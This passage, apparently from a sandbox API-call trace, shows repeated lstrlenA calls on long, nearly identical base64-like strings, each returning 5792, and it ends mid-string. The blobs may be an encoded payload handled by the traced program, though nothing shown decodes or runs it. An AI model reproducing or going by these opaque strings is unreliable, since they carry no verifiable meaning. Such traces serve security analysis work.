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") returned 5792 [0042.886] lstrlenA (lpString="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") returned 5792 [0042.886] lstrlenA (lpString="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") returned 5792 [0042.886] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CErOIcj/44TH/51GoHl5EfkG3f+ew2nb1YTiXbpn1RL3mBkXlplnjtmtnqobVFqvqHE8MS/80vPEVDx5f+EwcsmDicF79nKdrK+MFDmWIPfGEjuZHoSpu2Kls6XQkEqarD7k92x3+pcixC0T1MbnGqMBlAMJ38CRIqE5nH71RK3VwmK5KIrAh0R2vZ8qYJPmg75RdH/eJcF6Z35DMvVuyDqpYXOlyryaYb5PDLn8UOULsboAmXl1s7sJFW+WkiGQPPbh9ZiAof7QR/x1ZwaENHdnb28y7AHCF+Int5y1ocyt27nQyOHLuWFIvDtwZDbS2GJvewJCqj+wAXxqZT2rTGokNXqiT3LJE1KYoiEMqVAZh876Pb17V7Zs8+21vFbGSNgGYINYaR3a8uMuMw/cEQoQkUq1xhXMdw0LbrMh2Ey58AYJjKEO13YBgHLcdpBSQDhp3Uzm6FplQcIuBF5B+aW/+E3/+/ZPjpVIgjg2pNvlFa2BKnWanJjqDuVQn8KV4pggJ526RyX2fBTUah1d17kQB1ILlXha2IY052vHhS4+Fu16rI4Q6xIh2rklxQrbLZ1IarjrAUF48abLVK3LUGtA5cM8J0QgJoVD4BXSiGcji3Nr9pvHaiUIv/xN1EmbWvd3bDcjzcF+UTBaQd40Dm/1EKhBRtcOvq